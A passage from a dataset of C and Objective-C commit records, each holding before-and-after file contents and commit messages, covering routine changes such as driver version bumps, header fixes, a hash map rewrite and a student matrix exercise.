__declspec(dllexport)\n# else\n#  define EAPI __declspec(dllimport)\n# endif\n#else\n# ifdef __GNUC__\n#  if __GNUC__ >= 4\n#   define EAPI __attribute__ ((visibility(\"default\")))\n#  else\n#   define EAPI\n#  endif\n# else\n#  define EAPI\n# endif\n#endif\n\n\/**\n * @file Ecore_Str.h\n * @brief Contains useful C string functions.\n *\/\n\n# ifdef __cplusplus\nextern \"C\" {\n# endif\n\n# ifdef __sgi\n#  define __FUNCTION__ \"unknown\"\n#  ifndef __cplusplus\n#   define inline\n#  endif\n# endif\n\n   \/* strlcpy implementation for libc's lacking it *\/\n   EAPI size_t ecore_strlcpy(char *dst, const char *src, size_t siz);\n\n#ifdef __cplusplus\n}\n#endif\n#endif\t\t\t\t\/* _ECORE_STR_H *\/\n","subject":"Fix doxygen comments for new header.","message":"Fix doxygen comments for new header.\n\n\nSVN revision: 27891\n","lang":"C","license":"bsd-2-clause","repos":"gfriloux\/ecore,gfriloux\/ecore,gfriloux\/ecore"}
{"commit":"e584184199f1d8b572455c9d30e0c57223d7b4df","old_file":"src\/chip8.c","new_file":"src\/chip8.c","old_contents":"#include <stdlib.h>\n#include <string.h>\n#include \"chip8.h\"\n\nchip8_t * chip8_new(void) {\n  int i;\n  chip8_t * self = (chip8_t *) malloc(sizeof(chip8_t));\n\n  \/\/ The first 512 bytes are used by the interpreter.\n  self->program_counter = 0x200;\n  self->index_register  = 0;\n  self->stack_pointer   = 0;\n  self->opcode          = 0;\n\n  memcpy(self->memory, chip8_hex_font, 50);\n\n  return self;\n}\n\nvoid chip8_free(chip8_t * self) {\n  free(self);\n}\n","new_contents":"#include <stdlib.h>\n#include <string.h>\n#include \"chip8.h\"\n\nchip8_t * chip8_new(void) {\n  chip8_t * self = (chip8_t *) malloc(sizeof(chip8_t));\n\n  \/\/ The first 512 bytes are used by the interpreter.\n  self->program_counter = 0x200;\n  self->index_register  = 0;\n  self->stack_pointer   = 0;\n  self->opcode          = 0;\n\n  memcpy(self->memory, chip8_hex_font, 50);\n\n  return self;\n}\n\nvoid chip8_free(chip8_t * self) {\n  free(self);\n}\n","subject":"Remove unused variable (int i)","message":"Remove unused variable (int i)\n","lang":"C","license":"mit","repos":"gsamokovarov\/chip8.c,gsamokovarov\/chip8.c"}
{"commit":"9a12c4bd62e7b23a69f8adc616f42a8f3c4c1685","old_file":"src\/gauge.c","new_file":"src\/gauge.c","old_contents":"#include <math.h>\n#include \"gauge.h\"\n\n\/**\n * Initializes the gauge struct\n * @arg gauge The gauge struct to initialize\n * @return 0 on success.\n *\/\nint init_gauge(gauge_t *gauge) {\n    gauge->count = 0;\n    gauge->sum = 0;\n    gauge->value = 0;\n    return 0;\n}\n\n\/**\n * Adds a new sample to the struct\n * @arg gauge The gauge to add to\n * @arg sample The new sample value\n * @arg delta   Is this a delta update?\n * @return 0 on success.\n *\/\nint gauge_add_sample(gauge_t *gauge, double sample, bool delta) {\n    if (delta) {\n        gauge->value += sample;\n    } else {\n        gauge->value = sample;\n    }\n    gauge->sum += sample;\n    gauge->count++;\n    return 0;\n}\n\n\/**\n * Returns the number of samples in the gauge\n * @arg gauge The gauge to query\n * @return The number of samples\n *\/\nuint64_t gauge_count(gauge_t *gauge) {\n    return gauge->count;\n}\n\n\/**\n * Returns the mean gauge value\n * @arg gauge The gauge to query\n * @return The mean value of the gauge\n *\/\ndouble gauge_mean(gauge_t *gauge) {\n    return (gauge->count) ? gauge->sum \/ gauge->count : 0;\n}\n\n\/**\n * Returns the sum of the gauge\n * @arg gauge The gauge to query\n * @return The sum of values\n *\/\ndouble gauge_sum(gauge_t *gauge) {\n    return gauge->sum;\n}\n\n\/**\n * Returns the gauge value (for backwards compat)\n * @arg gauge  the gauge to query\n * @return The gauge value\n *\/\ndouble gauge_value(gauge_t *gauge) {\n    return gauge->value;\n}\n","new_contents":"#include <math.h>\n#include \"gauge.h\"\n\n\nint init_gauge(gauge_t *gauge) {\n    gauge->count = 0;\n    gauge->sum = 0;\n    gauge->value = 0;\n    return 0;\n}\n\nint gauge_add_sample(gauge_t *gauge, double sample, bool delta) {\n    if (delta) {\n        gauge->value += sample;\n    } else {\n        gauge->value = sample;\n    }\n    gauge->sum += sample;\n    gauge->count++;\n    return 0;\n}\n\nuint64_t gauge_count(gauge_t *gauge) {\n    return gauge->count;\n}\n\ndouble gauge_mean(gauge_t *gauge) {\n    return (gauge->count) ? gauge->sum \/ gauge->count : 0;\n}\n\ndouble gauge_sum(gauge_t *gauge) {\n    return gauge->sum;\n}\n\ndouble gauge_value(gauge_t *gauge) {\n    return gauge->value;\n}\n","subject":"Remove duplicate comment from the c file","message":"Remove duplicate comment from the c file\n","lang":"C","license":"bsd-3-clause","repos":"drawks\/statsite,theatrus\/statsite,theatrus\/statsite,drawks\/statsite,drawks\/statsite,drawks\/statsite,theatrus\/statsite,drawks\/statsite,theatrus\/statsite,theatrus\/statsite,drawks\/statsite"}
{"commit":"0a0b275bc691c879b95028023406e98063a1ce2b","old_file":"sipXportLib\/src\/test\/sipxunittests.h","new_file":"sipXportLib\/src\/test\/sipxunittests.h","old_contents":"\/\/ \n\/\/\n\/\/ Copyright (C) 2010 SIPfoundry Inc.\n\/\/ Licensed by SIPfoundry under the LGPL license.\n\/\/\n\/\/ Copyright (C) 2010 SIPez LLC All rights reserved.\n\/\/ Licensed to SIPfoundry under a Contributor Agreement.\n\/\/\n\/\/ $$\n\/\/ Author: Daniel Petrie\n\/\/         dpetrie AT SIPez DOT com\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\n#ifndef _sipxunittests_h_\n#define _sipxunittests_h_\n\n\n#if !defined(NO_CPPUNIT) && defined(ANDROID)\n#define NO_CPPUNIT 1\n#endif\n\n#if defined(NO_CPPUNIT)\n\n#define SIPX_UNIT_BASE_CLASS SipxPortUnitTestClass\n\n#include <os\/OsIntTypes.h>\n#include <sipxportunit\/SipxPortUnitTest.h>\n#include <utl\/UtlString.h>\n\ntypedef UtlString string;\n\n#else\n\n#define SIPX_UNIT_BASE_CLASS CppUnit::TestCase\n\n#include <cppunit\/extensions\/HelperMacros.h>\n#include <cppunit\/TestCase.h>\n\nusing namespace std;\n\n#endif\n\n\n#endif\n\n","new_contents":"\/\/ \n\/\/\n\/\/ Copyright (C) 2010-2016 SIPez LLC. All rights reserved.\n\/\/\n\/\/ $$\n\/\/ Author: Daniel Petrie\n\/\/         dpetrie AT SIPez DOT com\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\n#ifndef _sipxunittests_h_\n#define _sipxunittests_h_\n\n\n\/\/#if !defined(NO_CPPUNIT) && defined(ANDROID)\n#define NO_CPPUNIT 1\n\/\/#endif\n\n#if defined(NO_CPPUNIT)\n\n#define SIPX_UNIT_BASE_CLASS SipxPortUnitTestClass\n\n#include <os\/OsIntTypes.h>\n#include <sipxportunit\/SipxPortUnitTest.h>\n#include <utl\/UtlString.h>\n\ntypedef UtlString string;\n\n#else\n\n#define SIPX_UNIT_BASE_CLASS CppUnit::TestCase\n\n#include <cppunit\/extensions\/HelperMacros.h>\n#include <cppunit\/TestCase.h>\n\nusing namespace std;\n\n#endif\n\n\n#endif\n\n","subject":"Make portable unit tests default on all platforms. (vs CPPUNIT)","message":"Make portable unit tests default on all platforms.\n(vs CPPUNIT)\n\n\ngit-svn-id: 8a77b5e12cf30fc5f8c95b12d648985d6db39537@12346 a612230a-c5fa-0310-af8b-88eea846685b\n","lang":"C","license":"lgpl-2.1","repos":"sipXtapi\/sipXtapi-svn-mirror,sipXtapi\/sipXtapi-svn-mirror,sipXtapi\/sipXtapi-svn-mirror,sipXtapi\/sipXtapi-svn-mirror,sipXtapi\/sipXtapi-svn-mirror,sipXtapi\/sipXtapi-svn-mirror,sipXtapi\/sipXtapi-svn-mirror"}
{"commit":"92dd7b914b878f2172b4d436e9643c4a0d24683b","old_file":"sbr\/getarguments.c","new_file":"sbr\/getarguments.c","old_contents":"\n\/*\n * getarguments.c -- Get the argument vector ready to go.\n *\n * This code is Copyright (c) 2002, by the authors of nmh.  See the\n * COPYRIGHT file in the root directory of the nmh distribution for\n * complete copyright information.\n *\/\n\n#include <h\/mh.h>\n#include <h\/utils.h>\n\nchar **\ngetarguments (char *invo_name, int argc, char **argv, int check_context)\n{\n    char *cp = NULL, **ap = NULL, **bp = NULL, **arguments = NULL;\n    int n = 0;\n\n    \/*\n     * Check if profile\/context specifies any arguments\n     *\/\n    if (check_context && (cp = context_find (invo_name))) {\n\tcp = getcpy (cp);\t\t\/* make copy    *\/\n\tap = brkstring (cp, \" \", \"\\n\");\t\/* split string *\/\n\n\t\/* Count number of arguments split *\/\n\tbp = ap;\n\twhile (*bp++)\n\t    n++;\n    }\n\n    arguments = (char **) mh_xmalloc ((argc + n) * sizeof(*arguments));\n    bp = arguments;\n\n    \/* Copy any arguments from profile\/context *\/\n    if (ap != NULL && n > 0) {\n\twhile (*ap)\n\t    *bp++ = *ap++;\n     }\n\n    \/* Copy arguments from command line *\/\n    argv++;\n    while (*argv)\n\t*bp++ = *argv++;\n\n    \/* Now NULL terminate the array *\/\n    *bp = NULL;\n\n    return arguments;\n}\n","new_contents":"\n\/*\n * getarguments.c -- Get the argument vector ready to go.\n *\n * This code is Copyright (c) 2002, by the authors of nmh.  See the\n * COPYRIGHT file in the root directory of the nmh distribution for\n * complete copyright information.\n *\/\n\n#include <h\/mh.h>\n#include <h\/utils.h>\n\nchar **\ngetarguments (char *invo_name, int argc, char **argv, int check_context)\n{\n    char *cp = NULL, **ap = NULL, **bp = NULL, **arguments = NULL;\n    int n = 0;\n\n    \/*\n     * Check if profile\/context specifies any arguments\n     *\/\n    if (check_context && (cp = context_find (invo_name))) {\n\tcp = mh_xstrdup(cp);\t\t\/* make copy    *\/\n\tap = brkstring (cp, \" \", \"\\n\");\t\/* split string *\/\n\n\t\/* Count number of arguments split *\/\n\tbp = ap;\n\twhile (*bp++)\n\t    n++;\n    }\n\n    arguments = (char **) mh_xmalloc ((argc + n) * sizeof(*arguments));\n    bp = arguments;\n\n    \/* Copy any arguments from profile\/context *\/\n    if (ap != NULL && n > 0) {\n\twhile (*ap)\n\t    *bp++ = *ap++;\n     }\n\n    \/* Copy arguments from command line *\/\n    argv++;\n    while (*argv)\n\t*bp++ = *argv++;\n\n    \/* Now NULL terminate the array *\/\n    *bp = NULL;\n\n    return arguments;\n}\n","subject":"Replace getcpy() with mh_xstrdup() where the string isn't NULL.","message":"Replace getcpy() with mh_xstrdup() where the string isn't NULL.\n","lang":"C","license":"bsd-3-clause","repos":"mcr\/nmh,mcr\/nmh"}
{"commit":"14af75f24c313c736e12624c2e02e57339e25b9a","old_file":"tema2\/ex2.c","new_file":"tema2\/ex2.c","old_contents":"","new_contents":"\/*\n\nStudent:              Szogyenyi Zoltan\nAnul:                 I\nMaterie:              Stagiu de Practica\nLimbaj de programare: C\nData:                 Martie 21 2015 - Sambata\n\n2. Se citesc de la tastatură elementele unei matrici de caractere (nr. linii=nr.\ncoloane), A(NxN), N<=10.\n\na) Să se afişeze matricea A;\n\nb) Să se formeze şi să se afişeze cuvântul format din caracterele pe pe\ndiagonala principală a matricii A;\n\nc) Să se calculeze şi să se afişeze numărul de litere mari, litere mici şi cifre din\nmatrice;\n\nd) Să se afişeze cuvântul format din caracterele de pe diagonala secundară;\n\ne) Să se afişeze procentul literelor mari, al literelor mici şi al cifrelor de pe cele 2\ndiagonale;\n\nf) Să se afişeze caracterele comune aflate pe liniile p şi q (p, q < N, p şi q citite\nde la tastatură);\n\ng) Să se afişeze in ordine alfabetică, crescătoare, literele mari aflate pe\ncoloanele impare\n\n*\/\n\n#include <stdio.h>\n\nvoid printMatrix(int matrix[10][10], int);\n\nint main()\n{\n\tint a[10][10];\n\tint n;\n\n\t\/\/ Se citesc de la tastatură elementele unei matrici de caractere (nr. linii=nr.coloane), A(NxN), N<=10.\n\tprintf(\"The size of the matrix: \");\n\tscanf(\"%d\", &n);\n\n\n\tfor (int i = 0; i < n; ++i)\n\t{\n\t\tfor (int j = 0; j < n; ++j)\n\t\t{\n\t\t\tprintf(\"a[%d][%d]= \", i, j);\n\t\t\tscanf(\"%d\", &a[i][j]);\n\t\t}\n\t}\n\n\t\/\/ a) Să se afişeze matricea A;\n\tprintMatrix(a, n);\n\n\treturn 0;\n}\n\nvoid printMatrix(int matrix[10][10], int n)\n{\n\tfor (int i = 0; i < n; ++i)\n\t{\n\t\tfor (int j = 0; j < n; ++j)\n\t\t{\n\t\t\tprintf(\"%d \", matrix[i][j]);\n\t\t}\n\t\tprintf(\"\\n\");\n\t}\n}\n\n\n\n\n\n\n","subject":"Add the reading and printing of the matrix.","message":"Add the reading and printing of the matrix.\n","lang":"C","license":"apache-2.0","repos":"zoltanszogyenyi\/stagiu-de-practica,zoltanszogyenyi\/stagiu-de-practica"}
{"commit":"231ff54e4cc4a6f1ef78fb4e1f94957bbb961aae","old_file":"drivers\/scsi\/qla2xxx\/qla_version.h","new_file":"drivers\/scsi\/qla2xxx\/qla_version.h","old_contents":"\/*\n * QLogic Fibre Channel HBA Driver\n * Copyright (c)  2003-2013 QLogic Corporation\n *\n * See LICENSE.qla2xxx for copyright and licensing details.\n *\/\n\/*\n * Driver version\n *\/\n#define QLA2XXX_VERSION      \"8.04.00.08-k\"\n\n#define QLA_DRIVER_MAJOR_VER\t8\n#define QLA_DRIVER_MINOR_VER\t4\n#define QLA_DRIVER_PATCH_VER\t0\n#define QLA_DRIVER_BETA_VER\t0\n","new_contents":"\/*\n * QLogic Fibre Channel HBA Driver\n * Copyright (c)  2003-2013 QLogic Corporation\n *\n * See LICENSE.qla2xxx for copyright and licensing details.\n *\/\n\/*\n * Driver version\n *\/\n#define QLA2XXX_VERSION      \"8.04.00.13-k\"\n\n#define QLA_DRIVER_MAJOR_VER\t8\n#define QLA_DRIVER_MINOR_VER\t4\n#define QLA_DRIVER_PATCH_VER\t0\n#define QLA_DRIVER_BETA_VER\t0\n","subject":"Update the driver version to 8.04.00.13-k.","message":"[SCSI] qla2xxx: Update the driver version to 8.04.00.13-k.\n\nSigned-off-by: Giridhar Malavali <799b6491fce2c7a80b5fedcf9a728560cc9eb954@qlogic.com>\nSigned-off-by: Saurav Kashyap <88d6fd94e71a9ac276fc44f696256f466171a3c0@qlogic.com>\nSigned-off-by: James Bottomley <1acebbdca565c7b6b638bdc23b58b5610d1a56b8@Parallels.com>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas"}
{"commit":"0ce2d5345a145015bc35f8251cf9d82a8f193a86","old_file":"drivers\/scsi\/qla4xxx\/ql4_version.h","new_file":"drivers\/scsi\/qla4xxx\/ql4_version.h","old_contents":"\/*\n * QLogic iSCSI HBA Driver\n * Copyright (c)  2003-2012 QLogic Corporation\n *\n * See LICENSE.qla4xxx for copyright and licensing details.\n *\/\n\n#define QLA4XXX_DRIVER_VERSION\t\"5.03.00-k6\"\n","new_contents":"\/*\n * QLogic iSCSI HBA Driver\n * Copyright (c)  2003-2012 QLogic Corporation\n *\n * See LICENSE.qla4xxx for copyright and licensing details.\n *\/\n\n#define QLA4XXX_DRIVER_VERSION\t\"5.03.00-k7\"\n","subject":"Update driver version to 5.03.00-k7","message":"[SCSI] qla4xxx: Update driver version to 5.03.00-k7\n\nSigned-off-by: Vikas Chaudhary <c251871a64d7d31888eace0406cb3d4c419d5f73@qlogic.com>\nSigned-off-by: James Bottomley <1acebbdca565c7b6b638bdc23b58b5610d1a56b8@Parallels.com>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas"}
{"commit":"7ac5e552ca1d344baa09174c8b9ff1e776399f39","old_file":"Branch-SDK\/Branch-SDK\/BNCDeviceInfo.h","new_file":"Branch-SDK\/Branch-SDK\/BNCDeviceInfo.h","old_contents":"\/\/\n\/\/  BNCDeviceInfo.h\n\/\/  Branch-TestBed\n\/\/\n\/\/  Created by Sojan P.R. on 3\/22\/16.\n\/\/  Copyright © 2016 Branch Metrics. All rights reserved.\n\/\/\n#import <Foundation\/Foundation.h>\n#ifndef BNCDeviceInfo_h\n#define BNCDeviceInfo_h\n\n\n\n#endif \/* BNCDeviceInfo_h *\/\n\n@interface BNCDeviceInfo : NSObject\n\n\/\/---------Properties-------------\/\/\n@property (nonatomic, strong) NSString *hardwareId;\n@property (nonatomic, strong) NSString *hardwareIdType;\n@property (nonatomic) BOOL isRealHardwareId;\n@property (nonatomic, strong) NSString *vendorId;\n@property (nonatomic, strong) NSString *brandName;\n@property (nonatomic, strong) NSString *modelName;\n@property (nonatomic, strong) NSString *osName;\n@property (nonatomic, strong) NSString *osVersion;\n@property (nonatomic) NSNumber *screenWidth;\n@property (nonatomic) NSNumber *screenHeight;\n@property (nonatomic) BOOL isAdTrackingEnabled;\n\n\n\/\/----------Methods----------------\/\/\n+ (BNCDeviceInfo *)getInstance;\n\n@end","new_contents":"\/\/\n\/\/  BNCDeviceInfo.h\n\/\/  Branch-TestBed\n\/\/\n\/\/  Created by Sojan P.R. on 3\/22\/16.\n\/\/  Copyright © 2016 Branch Metrics. All rights reserved.\n\/\/\n#import <Foundation\/Foundation.h>\n#ifndef BNCDeviceInfo_h\n#define BNCDeviceInfo_h\n\n\n\n#endif \/* BNCDeviceInfo_h *\/\n\n@interface BNCDeviceInfo : NSObject\n\n\/\/---------Properties-------------\/\/\n@property (nonatomic, strong) NSString *hardwareId;\n@property (nonatomic, strong) NSString *hardwareIdType;\n@property (nonatomic) BOOL isRealHardwareId;\n@property (nonatomic, strong) NSString *vendorId;\n@property (nonatomic, strong) NSString *brandName;\n@property (nonatomic, strong) NSString *modelName;\n@property (nonatomic, strong) NSString *osName;\n@property (nonatomic, strong) NSString *osVersion;\n@property (nonatomic, strong) NSNumber *screenWidth;\n@property (nonatomic, strong) NSNumber *screenHeight;\n@property (nonatomic) BOOL isAdTrackingEnabled;\n\n\n\/\/----------Methods----------------\/\/\n+ (BNCDeviceInfo *)getInstance;\n\n@end","subject":"Change property attribute to strong","message":"Change property attribute to strong\n","lang":"C","license":"mit","repos":"BranchMetrics\/ios-branch-deep-linking,BranchMetrics\/ios-branch-deep-linking,BranchMetrics\/iOS-Deferred-Deep-Linking-SDK,BranchMetrics\/iOS-Deferred-Deep-Linking-SDK,BranchMetrics\/ios-branch-deep-linking,BranchMetrics\/ios-branch-deep-linking"}
{"commit":"97b487e3f7d68a4ee579bdba1001984055463061","old_file":"src\/containers\/hash_map.h","new_file":"src\/containers\/hash_map.h","old_contents":"#ifndef JTL_HASH_MAP_H__\n#define JTL_HASH_MAP_H__\n#include <memory>\n\nnamespace jtl {\n\ntemplate <typename Key,\n          typename Value>\nclass HashMap {\n\n  struct MapNode {\n    MapNode(Key k, Value v) : key(k), value(v) {}\n    ~MapNode() {\n      delete key;\n      delete value;\n    }\n\n    Key key;\n    Value value;\n  }; \/\/ struct MapNode\n\n  class HashMapBase_ {\n    private:\n      \/\/ bins is an array of pointers to arrays of key-value nodes\n      MapNode** bins_;       \n\n  }; \/\/ class HashMapBase_\n  public:\n  private:\n    Key* bins_;\n}; \/\/ class HashMap\n} \/\/ namespace jtl\n#endif\n","new_contents":"#ifndef JTL_FLAT_HASH_MAP_H__\n#define JTL_FLAT_HASH_MAP_H__\n#include <memory>\n#include <cctype>\n\nnamespace jtl {\n\ntemplate <typename Key>\nstruct Hash {\n  using argument_type = Key;\n  using result_type = std::size_t;\n\n  result_type operator()(const Key& k);\n}; \/\/ struct Hash\n\ntemplate <typename Key,\n          typename Value>\nclass FlatHashMap {\n  public:\n    FlatHashMap() : bins_(), hash_() {}\n  struct MapNode {\n    MapNode(Key k, Value v) : key(k), value(v) {}\n\n    Key key;\n    Value value;\n  }; \/\/ struct MapNode\n\n  private:\n  std::vector<std::vector<MapNode>> bins_;\n  Hash<Key> hash_;  \n}; \/\/ class HashMap\n} \/\/ namespace jtl\n#endif \/\/ JTL_FLAT_HASH_MAP__\n","subject":"Switch hash map class to a flat hash map","message":"Switch hash map class to a flat hash map\n","lang":"C","license":"mit","repos":"j-haj\/algorithms-datastructures"}
{"commit":"7d403dcfb33763e9eb29fd1f4a67e293b1d98f94","old_file":"3RVX\/HotkeyInfo.h","new_file":"3RVX\/HotkeyInfo.h","old_contents":"#pragma once\n\n#include <vector>\n\nclass HotkeyInfo {\npublic:\n    enum HotkeyActions {\n        IncreaseVolume,\n        DecreaseVolume,\n        SetVolume,\n        Mute,\n        VolumeSlider,\n        RunApp,\n        Settings,\n        Exit,\n    };\n    static std::vector<std::wstring> ActionNames;\n\npublic:\n    int keyCombination = 0;\n    int action = -1;\n\n};","new_contents":"#pragma once\n\n#include <vector>\n\nclass HotkeyInfo {\npublic:\n    enum HotkeyActions {\n        IncreaseVolume,\n        DecreaseVolume,\n        SetVolume,\n        Mute,\n        VolumeSlider,\n        RunApp,\n        Settings,\n        Exit,\n    };\n    static std::vector<std::wstring> ActionNames;\n\npublic:\n    int keyCombination = 0;\n    int action = -1;\n    std::vector<std::wstring> args;\n\n};","subject":"Add instance var for hotkey arguments","message":"Add instance var for hotkey arguments\n","lang":"C","license":"bsd-2-clause","repos":"Soulflare3\/3RVX,Soulflare3\/3RVX,malensek\/3RVX,malensek\/3RVX,malensek\/3RVX,Soulflare3\/3RVX"}
{"commit":"9fa470e4021c096a808bfa9bb9406e9897f55b70","old_file":"CRToast\/CRToast.h","new_file":"CRToast\/CRToast.h","old_contents":"\/\/\n\/\/  CRToast\n\/\/  Copyright (c) 2014-2015 Collin Ruffenach. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n\/\/! Project version number for CRToast.\nFOUNDATION_EXPORT double CRToastVersionNumber;\n\n\/\/! Project version string for CRToast.\nFOUNDATION_EXPORT const unsigned char CRToastVersionString[];\n\n\/\/ In this header, you should import all the public headers of your framework using statements like #import <CRToast\/PublicHeader.h>\n\n#import <CRToast\/CRToastConfig.h>\n#import <CRToast\/CRToastManager.h>\n","new_contents":"\/\/\n\/\/  CRToast\n\/\/  Copyright (c) 2014-2015 Collin Ruffenach. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n\/\/! Project version number for CRToast.\nFOUNDATION_EXPORT double CRToastVersionNumber;\n\n\/\/! Project version string for CRToast.\nFOUNDATION_EXPORT const unsigned char CRToastVersionString[];\n\n\/\/ In this header, you should import all the public headers of your framework using statements like #import <CRToast\/PublicHeader.h>\n\n#import \"CRToast\/CRToastConfig.h\"\n#import \"CRToast\/CRToastManager.h\"\n","subject":"Fix build error with import","message":"Fix build error with import\n","lang":"C","license":"mit","repos":"Trueey\/CRToast"}
{"commit":"abeb3e3e92bd30ccd7f0d6683a97fbb9f828f75b","old_file":"src\/genericpage.h","new_file":"src\/genericpage.h","old_contents":"\/*\n * dialer - MeeGo Voice Call Manager\n * Copyright (c) 2009, 2010, Intel Corporation.\n *\n * This program is licensed under the terms and conditions of the\n * Apache License, version 2.0.  The full text of the Apache License is at\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *\/\n\n#ifndef GENERICPAGE_H\n#define GENERICPAGE_H\n\n#include <MApplicationPage>\n\nclass MainWindow;\nclass MLayout;\nclass MGridLayoutPolicy;\n\nclass GenericPage : public MApplicationPage\n{\n    Q_OBJECT\n\npublic:\n\n    enum PageType {\n        PAGE_NONE     = -1,\n        PAGE_DIALER   =  0,\n        PAGE_RECENT   =  1,\n        PAGE_PEOPLE   =  2,\n        PAGE_FAVORITE =  3,\n        PAGE_DEBUG    =  4,\n    };\n\n    GenericPage();\n    virtual ~GenericPage();\n    virtual void createContent();\n    virtual MGridLayoutPolicy * policy(M::Orientation);\n\n    MainWindow *mainWindow();\n\nprotected:\n    virtual void showEvent(QShowEvent *event);\n    virtual void activateWidgets();\n    virtual void deactivateAndResetWidgets();\n\n    MLayout *           layout;\n    MGridLayoutPolicy * landscape;\n    MGridLayoutPolicy * portrait;\n    PageType            m_pageType;\n};\n\n#endif \/\/ GENERICPAGE_H\n","new_contents":"\/*\n * dialer - MeeGo Voice Call Manager\n * Copyright (c) 2009, 2010, Intel Corporation.\n *\n * This program is licensed under the terms and conditions of the\n * Apache License, version 2.0.  The full text of the Apache License is at\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *\/\n\n#ifndef GENERICPAGE_H\n#define GENERICPAGE_H\n\n#include <MApplicationPage>\n\nclass MainWindow;\nclass MLayout;\nclass MGridLayoutPolicy;\n\nclass GenericPage : public MApplicationPage\n{\n    Q_OBJECT\n\npublic:\n\n    enum PageType {\n        PAGE_NONE     = -1,\n        PAGE_DIALER   =  0,\n        PAGE_RECENT   =  1,\n        PAGE_PEOPLE   =  2,\n        PAGE_FAVORITE =  3,\n        PAGE_DEBUG    =  4,\n    };\n\n    GenericPage();\n    virtual ~GenericPage();\n    virtual void createContent();\n    virtual MGridLayoutPolicy * policy(M::Orientation);\n\n    virtual void activateWidgets();\n    virtual void deactivateAndResetWidgets();\n\n    MainWindow *mainWindow();\n\nprotected:\n    virtual void showEvent(QShowEvent *event);\n\n    MLayout *           layout;\n    MGridLayoutPolicy * landscape;\n    MGridLayoutPolicy * portrait;\n    PageType            m_pageType;\n};\n\n#endif \/\/ GENERICPAGE_H\n","subject":"Make the genericPage methods activate and deactivate widgets public instead of protected.","message":"Make the genericPage methods activate and deactivate widgets public instead of protected.\n\nSigned-off-by: Michael Demeter <ed571e93df5b6cb8044d8ad4bd1aafe6e72f2a71@intel.com>\n","lang":"C","license":"apache-2.0","repos":"lbt\/meego-handset-dialer,lbt\/meego-handset-dialer,lbt\/meego-handset-dialer,lbt\/meego-handset-dialer"}
{"commit":"24f16f44b3b2569b8858c453429c3fb42ea02392","old_file":"objc\/PromiseKit.h","new_file":"objc\/PromiseKit.h","old_contents":"#import \"PromiseKit\/Promise.h\"\n#ifdef PMK_CORELOCATION\n#import \"PromiseKit+CoreLocation.h\"\n#endif\n#ifdef PMK_FOUNDATION\n#import \"PromiseKit+Foundation.h\"\n#endif\n#ifdef PMK_UIKIT\n#import \"PromiseKit+UIKit.h\"\n#endif\n#ifdef PMK_MAPKIT\n#import \"PromiseKit+MapKit.h\"\n#endif\n#ifdef PMK_SOCIAL\n#import \"PromiseKit+Social.h\"\n#endif\n#ifdef PMK_STOREKIT\n#import \"PromiseKit+StoreKit.h\"\n#endif\n#ifdef PMK_AVFOUNDATION\n#import \"PromiseKit+AVFoundation.h\"\n#endif\n\n\n#ifndef PMK_NO_UNPREFIXATION\n\/\/ I used a typedef but it broke the tests, turns out typedefs are new\n\/\/ types that have consequences with isKindOfClass and that\n\/\/ NOTE I will remove this at 1.0\ntypedef PMKPromise Promise __attribute__((deprecated(\"Use PMKPromise. Use of Promise is deprecated. This is a typedef, and since it is a typedef, there may be unintended side-effects.\")));\n#endif\n","new_contents":"#import \"PromiseKit\/Promise.h\"\n#ifdef PMK_CORELOCATION\n#import \"PromiseKit+CoreLocation.h\"\n#endif\n#ifdef PMK_FOUNDATION\n#import \"PromiseKit+Foundation.h\"\n#endif\n#ifdef PMK_UIKIT\n#import \"PromiseKit+UIKit.h\"\n#endif\n#ifdef PMK_MAPKIT\n#import \"PromiseKit+MapKit.h\"\n#endif\n#ifdef PMK_SOCIAL\n#import \"PromiseKit+Social.h\"\n#endif\n#ifdef PMK_STOREKIT\n#import \"PromiseKit+StoreKit.h\"\n#endif\n#ifdef PMK_AVFOUNDATION\n#import \"PromiseKit+AVFoundation.h\"\n#endif\n#ifdef PMK_ACCOUNTS\n#import \"PromiseKit+Accounts.h\"\n#endif\n\n\n#ifndef PMK_NO_UNPREFIXATION\n\/\/ I used a typedef but it broke the tests, turns out typedefs are new\n\/\/ types that have consequences with isKindOfClass and that\n\/\/ NOTE I will remove this at 1.0\ntypedef PMKPromise Promise __attribute__((deprecated(\"Use PMKPromise. Use of Promise is deprecated. This is a typedef, and since it is a typedef, there may be unintended side-effects.\")));\n#endif\n","subject":"Add missing import to umbrella header","message":"Add missing import to umbrella header","lang":"C","license":"mit","repos":"mxcl\/PromiseKit,pgherveou\/PromiseKit,mxcl\/PromiseKit,allen-zeng\/PromiseKit,mxcl\/PromiseKit,pgherveou\/PromiseKit,allen-zeng\/PromiseKit,pgherveou\/PromiseKit"}
